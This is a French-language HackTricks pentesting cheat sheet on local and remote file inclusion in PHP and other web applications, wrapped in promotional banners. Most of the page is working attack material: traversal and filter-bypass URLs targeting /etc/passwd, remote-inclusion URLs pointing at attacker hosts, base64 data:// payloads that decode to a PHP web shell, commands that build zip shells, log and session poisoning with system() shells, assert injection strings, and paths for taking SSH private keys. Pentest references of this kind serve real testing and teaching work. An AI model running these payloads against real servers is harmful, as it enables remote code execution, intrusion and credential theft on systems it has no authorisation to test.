hacktricks/pentesting-web/file-inclusion

Inclusion de fichier/traversal de chemin

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

Autres façons de soutenir HackTricks :

• Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
• Obtenez le swag officiel PEASS & HackTricks
• Découvrez La famille PEASS, notre collection exclusive de NFTs
• Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦 @carlospolopm.
• Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud dépôts GitHub.

Rejoignez le serveur HackenProof Discord pour communiquer avec des pirates expérimentés et des chasseurs de primes en bugs !

Perspectives de piratage
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage

Actualités de piratage en temps réel
Restez informé du monde du piratage rapide grâce aux actualités et aux informations en temps réel

Dernières annonces
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs pirates dès aujourd'hui !

Inclusion de fichier

Inclusion de fichier à distance (RFI) : Le fichier est chargé à partir d'un serveur distant (Idéal : Vous pouvez écrire le code et le serveur l'exécutera). En php, cela est désactivé par défaut (allow_url_include).
Inclusion de fichier local (LFI) : Le serveur charge un fichier local.

La vulnérabilité se produit lorsque l'utilisateur peut contrôler de quelque manière que ce soit le fichier qui va être chargé par le serveur.

Fonctions PHP vulnérables : require, require_once, include, include_once

Un outil intéressant pour exploiter cette vulnérabilité : https://github.com/kurobeats/fimap

Aveugle - Intéressant - Fichiers LFI2RCE

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Mélangeant plusieurs listes LFI *nix et ajoutant plus de chemins, j'ai créé celle-ci:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

Essayez également de changer / pour \
Essayez également d'ajouter ../../../../../

Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) peut être trouvée ici

Windows

Fusion de différentes listes de mots:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

Essayez également de changer / pour \
Essayez également de supprimer C:/ et d'ajouter ../../../../../

Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) peut être trouvée ici

OS X

Consultez la liste LFI de Linux.

LFI de base et contournements

Tous les exemples sont pour l'inclusion de fichiers locaux mais pourraient également être appliqués à l'inclusion de fichiers à distance (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

séquences de traversée dépouillées de manière non récursive

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Octet nul (%00)

Contourner l'ajout de caractères à la fin de la chaîne fournie (contournement de : $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Cela est résolu depuis PHP 5.4

Encodage

Vous pourriez utiliser des encodages non standard comme le double encodage d'URL (et d'autres) :

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

À partir du dossier existant

Peut-être que le back-end vérifie le chemin du dossier :

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Exploration des répertoires du système de fichiers sur un serveur

Le système de fichiers d'un serveur peut être exploré de manière récursive pour identifier les répertoires, pas seulement les fichiers, en utilisant certaines techniques. Ce processus implique de déterminer la profondeur du répertoire et de sonder l'existence de dossiers spécifiques. Voici une méthode détaillée pour y parvenir :

1. Déterminer la profondeur du répertoire : Déterminez la profondeur de votre répertoire actuel en récupérant avec succès le fichier /etc/passwd (applicable si le serveur est basé sur Linux). Un exemple d'URL pourrait être structuré comme suit, indiquant une profondeur de trois :

http://example.com/index.php?page=../../../etc/passwd # depth of 3

2. Sonder les dossiers : Ajoutez le nom du dossier suspecté (par exemple, private) à l'URL, puis naviguez de nouveau vers /etc/passwd. Le niveau de répertoire supplémentaire nécessite d'incrémenter la profondeur de un :

http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4

3. Interpréter les Résultats : La réponse du serveur indique si le dossier existe :

• Erreur / Aucune Sortie : Le dossier private n'existe probablement pas à l'emplacement spécifié.
• Contenu de /etc/passwd : La présence du dossier private est confirmée.

4. Exploration Récursive : Les dossiers découverts peuvent être davantage explorés pour rechercher des sous-répertoires ou des fichiers en utilisant la même technique ou des méthodes traditionnelles d'Inclusion de Fichier Locale (LFI).

Pour explorer des répertoires à différents emplacements dans le système de fichiers, ajustez la charge utile en conséquence. Par exemple, pour vérifier si /var/www/ contient un répertoire private (en supposant que le répertoire actuel est à une profondeur de 3), utilisez :

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Technique de Troncature de Chemin

La troncature de chemin est une méthode utilisée pour manipuler les chemins de fichiers dans les applications web. Elle est souvent utilisée pour accéder à des fichiers restreints en contournant certaines mesures de sécurité qui ajoutent des caractères supplémentaires à la fin des chemins de fichiers. L'objectif est de créer un chemin de fichier qui, une fois modifié par la mesure de sécurité, pointe toujours vers le fichier souhaité.

En PHP, diverses représentations d'un chemin de fichier peuvent être considérées comme équivalentes en raison de la nature du système de fichiers. Par exemple :

• /etc/passwd, /etc//passwd, /etc/./passwd et /etc/passwd/ sont tous traités comme le même chemin.
• Lorsque les 6 derniers caractères sont passwd, ajouter un / (le transformant en passwd/) ne modifie pas le fichier ciblé.
• De même, si .php est ajouté à un chemin de fichier (comme shellcode.php), ajouter /. à la fin n'altérera pas le fichier qui est accédé.

Les exemples fournis démontrent comment utiliser la troncature de chemin pour accéder à /etc/passwd, une cible courante en raison de son contenu sensible (informations de compte utilisateur) :

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.

http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Dans ces scénarios, le nombre de traversées nécessaires peut être d'environ 2027, mais ce nombre peut varier en fonction de la configuration du serveur.

• Utilisation de segments de points et de caractères supplémentaires: Les séquences de traversée (../) combinées avec des segments de points supplémentaires et des caractères peuvent être utilisées pour naviguer dans le système de fichiers, en ignorant efficacement les chaînes ajoutées par le serveur.

• Détermination du nombre de traversées requis: Par essais et erreurs, on peut trouver le nombre précis de séquences ../ nécessaires pour naviguer vers le répertoire racine, puis vers /etc/passwd, en veillant à neutraliser les chaînes ajoutées (comme .php) tout en conservant le chemin souhaité (/etc/passwd).

• Commencer par un répertoire fictif: Il est courant de commencer le chemin par un répertoire inexistant (comme a/). Cette technique est utilisée comme mesure de précaution ou pour répondre aux exigences de la logique d'analyse des chemins du serveur.

Lors de l'utilisation de techniques de troncature de chemin, il est crucial de comprendre le comportement d'analyse des chemins du serveur et la structure du système de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace.

Cette vulnérabilité a été corrigée dans PHP 5.3.

Astuces de contournement des filtres

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Inclusion de Fichier à Distance

En php, cela est désactivé par défaut car allow_url_include est Off. Il doit être On pour fonctionner, et dans ce cas, vous pourriez inclure un fichier PHP depuis votre serveur et obtenir une RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Si, pour une raison quelconque, allow_url_include est activé, mais que PHP filtre l'accès aux pages web externes, selon cet article, vous pourriez par exemple utiliser le protocole de données avec base64 pour décoder un code PHP b64 et obtenir une RCE:

{% code overflow="wrap" %}

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

{% endcode %}

{% hint style="info" %} Dans le code précédent, le +.txt final a été ajouté car l'attaquant avait besoin d'une chaîne se terminant par .txt, donc la chaîne se termine avec cela et après le décodage b64, cette partie ne renverra que des déchets et le vrai code PHP sera inclus (et donc, exécuté). {% endhint %}

Un autre exemple ne utilisant pas le protocole php:// serait:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

{% endcode %}

Élément racine Python

En python dans un code comme celui-ci :

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Si l'utilisateur passe un chemin absolu à file_name, le chemin précédent est simplement supprimé:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Il s'agit du comportement prévu selon la documentation :

Si un composant est un chemin absolu, tous les composants précédents sont jetés et le joint continue à partir du composant de chemin absolu.

Répertoires de liste Java

Il semble que si vous avez une Traversée de Chemin en Java et que vous demandez un répertoire au lieu d'un fichier, une liste du répertoire est renvoyée. Cela ne se produira pas dans d'autres langages (à ma connaissance).

Top 25 paramètres

Voici la liste des 25 principaux paramètres qui pourraient être vulnérables aux vulnérabilités d'inclusion de fichier local (LFI) (de lien):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI en utilisant les enrobages et protocoles PHP

php://filter

Les filtres PHP permettent d'effectuer des opérations de modification de base sur les données avant leur lecture ou écriture. Il existe 5 catégories de filtres :

• Filtres de chaîne :
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags : Supprime les balises des données (tout ce qui se trouve entre les caractères "<" et ">")
  • Notez que ce filtre a disparu des versions modernes de PHP
• Filtres de conversion
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Transforme en une autre codification (convert.iconv.<input_enc>.<output_enc>). Pour obtenir la liste de toutes les codifications prises en charge, exécutez dans la console : iconv -l

{% hint style="warning" %} En abusant du filtre de conversion convert.iconv.*, vous pouvez générer du texte arbitraire, ce qui pourrait être utile pour écrire du texte arbitraire ou pour rendre un processus d'inclusion de texte arbitraire. Pour plus d'informations, consultez LFI2RCE via php filters. {% endhint %}

• Filtres de compression
  • zlib.deflate : Compresse le contenu (utile pour exfiltrer beaucoup d'informations)
  • zlib.inflate : Décompresse les données
• Filtres de chiffrement
  • mcrypt.* : Obsolète
  • mdecrypt.* : Obsolète
• Autres filtres
  • En exécutant var_dump(stream_get_filters()); en PHP, vous pouvez trouver quelques filtres inattendus :
    • consumed
    • dechunk : inverse le codage chunked HTTP
    • convert.*

# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

{% hint style="warning" %} La partie "php://filter" est insensible à la casse {% endhint %}

php://fd

Ce wrapper permet d'accéder aux descripteurs de fichiers ouverts par le processus. Potentiellement utile pour exfiltrer le contenu des fichiers ouverts :

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Vous pouvez également utiliser php://stdin, php://stdout et php://stderr pour accéder respectivement aux descripteurs de fichiers 0, 1 et 2 (pas sûr de comment cela pourrait être utile dans une attaque)

zip:// et rar://

Téléchargez un fichier Zip ou Rar avec un PHPShell à l'intérieur et y accédez.
Pour pouvoir abuser du protocole rar, il doit être spécifiquement activé.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

La technique data:// permet d'inclure des données directement dans une URL. Cela peut être utilisé pour exécuter du code malveillant en exploitant une vulnérabilité d'inclusion de fichier.

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Notez que ce protocole est restreint par les configurations php allow_url_open et allow_url_include

expect://

Expect doit être activé. Vous pouvez exécuter du code en utilisant ceci:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Spécifiez votre charge utile dans les paramètres POST :

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Un fichier .phar peut être utilisé pour exécuter du code PHP lorsqu'une application web utilise des fonctions telles que include pour le chargement de fichiers. L'extrait de code PHP ci-dessous démontre la création d'un fichier .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Pour compiler le fichier .phar, la commande suivante doit être exécutée :

php --define phar.readonly=0 create_path.php

À l'exécution, un fichier nommé test.phar sera créé, ce qui pourrait potentiellement être exploité pour les vulnérabilités d'Inclusion de Fichier Local (LFI).

Dans les cas où la LFI ne fait que lire des fichiers sans exécuter le code PHP à l'intérieur, à travers des fonctions telles que file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), ou filesize(), une tentative d'exploitation d'une vulnérabilité de désérialisation pourrait être envisagée. Cette vulnérabilité est associée à la lecture de fichiers en utilisant le protocole phar.

Pour une compréhension détaillée de l'exploitation des vulnérabilités de désérialisation dans le contexte des fichiers .phar, veuillez consulter le document lié ci-dessous :

Guide d'exploitation de la désérialisation Phar

{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Plus de protocoles

Consultez plus de protocoles à inclure ici:

• php://memory et php://temp — Écrire en mémoire ou dans un fichier temporaire (pas sûr de comment cela peut être utile dans une attaque d'inclusion de fichier)
• file:// — Accéder au système de fichiers local
• http:// — Accéder aux URL HTTP(s)
• ftp:// — Accéder aux URL FTP(s)
• zlib:// — Flux de compression
• glob:// — Trouver des chemins correspondant à un motif (ne renvoie rien d'imprimable, donc pas vraiment utile ici)
• ssh2:// — Secure Shell 2
• ogg:// — Flux audio (Pas utile pour lire des fichiers arbitraires)

LFI via la fonction 'assert' de PHP

Les risques d'Inclusion de Fichier Local (LFI) en PHP sont particulièrement élevés lorsqu'on utilise la fonction 'assert', qui peut exécuter du code à l'intérieur de chaînes. Cela pose particulièrement problème si une entrée contenant des caractères de traversée de répertoire comme ".." est vérifiée mais non correctement désinfectée.

Par exemple, le code PHP pourrait être conçu pour empêcher la traversée de répertoire de la manière suivante :

assert("strpos('$file', '..') === false") or die("");

Bien que cela vise à arrêter la traversée, cela crée involontairement un vecteur pour l'injection de code. Pour exploiter ceci et lire le contenu des fichiers, un attaquant pourrait utiliser :

' and die(highlight_file('/etc/passwd')) or '

De même, pour exécuter des commandes système arbitraires, on pourrait utiliser :

' and die(system("id")) or '

Il est important d'encoder ces charges utiles en URL.

Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes en bugs !

Perspectives de Hacking
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking

Actualités de Hacking en Temps Réel
Restez à jour avec le monde du hacking en constante évolution grâce aux actualités et aux perspectives en temps réel

Dernières Annonces
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !

Traversée de Chemin PHP en Aveugle

{% hint style="warning" %} Cette technique est pertinente dans les cas où vous contrôlez le chemin du fichier d'une fonction PHP qui va accéder à un fichier mais dont vous ne verrez pas le contenu (comme un simple appel à file()) mais le contenu n'est pas affiché. {% endhint %}

Dans cet article incroyable, il est expliqué comment une traversée de chemin en aveugle peut être exploitée via le filtre PHP pour exfiltrer le contenu d'un fichier via un oracle d'erreur.

En résumé, la technique utilise le codage "UCS-4LE" pour rendre le contenu d'un fichier si volumineux que la fonction PHP ouvrant le fichier déclenchera une erreur.

Ensuite, pour divulguer le premier caractère, le filtre dechunk est utilisé avec d'autres tels que base64 ou rot13 et enfin les filtres convert.iconv.UCS-4.UCS-4LE et convert.iconv.UTF16.UTF-16BE sont utilisés pour placer d'autres caractères au début et les divulguer.

Fonctions potentiellement vulnérables : file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (cible uniquement en lecture avec ceci), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Pour les détails techniques, consultez l'article mentionné !

LFI2RCE

Inclusion de Fichier à Distance

Expliqué précédemment, suivez ce lien.

Via le fichier journal Apache/Nginx

Si le serveur Apache ou Nginx est vulnérable à une LFI à l'intérieur de la fonction d'inclusion, vous pourriez essayer d'accéder à /var/log/apache2/access.log ou /var/log/nginx/access.log, définir à l'intérieur de l'agent utilisateur ou à l'intérieur d'un paramètre GET une coquille PHP comme <?php system($_GET['c']); ?> et inclure ce fichier

{% hint style="warning" %} Notez que si vous utilisez des guillemets doubles pour la coquille au lieu de simples guillemets, les guillemets doubles seront modifiés pour la chaîne "quote;", PHP lancera une erreur à cet endroit et rien d'autre ne sera exécuté.

Assurez-vous également d'écrire correctement la charge utile ou PHP générera une erreur à chaque fois qu'il essaiera de charger le fichier journal et vous n'aurez pas de deuxième opportunité. {% endhint %}

Cela pourrait également être fait dans d'autres journaux mais soyez prudent, le code à l'intérieur des journaux pourrait être encodé en URL et cela pourrait détruire la Coquille. L'en-tête authorisation "basic" contient "utilisateur: mot de passe" en Base64 et est décodé à l'intérieur des journaux. La Coquille PHP pourrait être insérée à l'intérieur de cet en-tête.
Autres chemins de journaux possibles:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Via Email

Envoyer un e-mail à un compte interne (user@localhost) contenant votre charge utile PHP comme <?php echo system($_REQUEST["cmd"]); ?> et essayer de l'inclure dans le courriel de l'utilisateur avec un chemin comme /var/mail/<USERNAME> ou /var/spool/mail/<USERNAME>

Via /proc/*/fd/*

1. Téléchargez beaucoup de coquilles (par exemple : 100)
2. Inclure http://example.com/index.php?page=/proc/$PID/fd/$FD, avec $PID = PID du processus (peut être forcé en brut) et $FD le descripteur de fichier (peut également être forcé en brut)

Via /proc/self/environ

Comme un fichier journal, envoyez la charge utile dans l'User-Agent, elle sera reflétée à l'intérieur du fichier /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via téléchargement

Si vous pouvez télécharger un fichier, injectez simplement la charge utile de l'interpréteur de commandes dedans (par exemple : <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Pour garder le fichier lisible, il est préférable d'injecter dans les métadonnées des images/doc/pdf

Via téléchargement de fichier Zip

Téléchargez un fichier ZIP contenant une coquille PHP compressée et accédez :

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via sessions PHP

Vérifiez si le site web utilise la session PHP (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

En PHP, ces sessions sont stockées dans des fichiers /var/lib/php5/sess\[PHPSESSID]_

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Définissez le cookie sur <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Utilisez le LFI pour inclure le fichier de session PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d'accéder à <HOME>/.ssh/id_rsa

Via logs vsftpd

Les journaux du serveur FTP vsftpd se trouvent dans /var/log/vsftpd.log. Dans le scénario où une vulnérabilité d'inclusion de fichier local (LFI) existe et que l'accès à un serveur vsftpd exposé est possible, les étapes suivantes peuvent être envisagées :

1. Injectez une charge utile PHP dans le champ du nom d'utilisateur lors du processus de connexion.
2. Après l'injection, utilisez le LFI pour récupérer les journaux du serveur depuis /var/log/vsftpd.log.

Via filtre php base64 (en utilisant base64)

Comme le montre cet article, le filtre base64 PHP ignore simplement les caractères non base64. Vous pouvez l'utiliser pour contourner la vérification de l'extension de fichier : si vous fournissez du base64 qui se termine par ".php", il ignorera simplement le "." et ajoutera "php" au base64. Voici un exemple de charge utile :

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via filtres php (aucun fichier nécessaire)

Ce writeup explique que vous pouvez utiliser des filtres php pour générer un contenu arbitraire en sortie. Ce qui signifie essentiellement que vous pouvez générer du code php arbitraire pour l'inclusion sans avoir besoin de l'écrire dans un fichier.

{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}

Via une erreur de segmentation

Téléchargez un fichier qui sera stocké de manière temporaire dans /tmp, puis dans la même requête, déclenchez une erreur de segmentation, et alors le fichier temporaire ne sera pas supprimé et vous pourrez le rechercher.

{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}

Via le stockage temporaire des fichiers de Nginx

Si vous avez trouvé une inclusion de fichier local et que Nginx est en cours d'exécution devant PHP, vous pourriez être en mesure d'obtenir une RCE avec la technique suivante :

{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}

Via PHP_SESSION_UPLOAD_PROGRESS

Si vous avez trouvé une inclusion de fichier local même si vous n'avez pas de session et que session.auto_start est Off. Si vous fournissez le PHP_SESSION_UPLOAD_PROGRESS dans les données POST multipart, PHP va activer la session pour vous. Vous pourriez en abuser pour obtenir une RCE :

{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}

Via les téléversements de fichiers temporaires dans Windows

Si vous avez trouvé une inclusion de fichier local et que le serveur fonctionne sous Windows, vous pourriez obtenir une RCE :

{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}

Via phpinfo() (file_uploads = on)

Si vous avez trouvé une inclusion de fichier local et un fichier exposant phpinfo() avec file_uploads = on, vous pouvez obtenir une RCE :

{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Divulgation de chemin

Si vous avez trouvé une inclusion de fichier local et que vous pouvez exfiltrer le chemin du fichier temporaire MAIS que le serveur vérifie si le fichier à inclure comporte des marques PHP, vous pouvez essayer de contourner cette vérification avec cette Condition de Course :

{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}

Via attente éternelle + force brute

Si vous pouvez abuser de l'inclusion de fichier local pour téléverser des fichiers temporaires et faire suspension de l'exécution PHP du serveur, vous pourriez ensuite forcer les noms de fichiers pendant des heures pour trouver le fichier temporaire :

{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}

Vers une erreur fatale

Si vous incluez l'un des fichiers /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Vous devez inclure le même deux fois pour provoquer cette erreur).

Je ne sais pas à quoi cela peut servir mais cela pourrait être utile.
Même si vous provoquez une erreur fatale en PHP, les fichiers temporaires PHP téléversés sont supprimés.

Références

• PayloadsAllTheThings\
• PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders

{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}

Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes en sécurité !

Perspectives sur le piratage
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage

Actualités sur le piratage en temps réel
Restez informé du monde du piratage en temps réel grâce aux actualités et aux informations

Dernières annonces
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !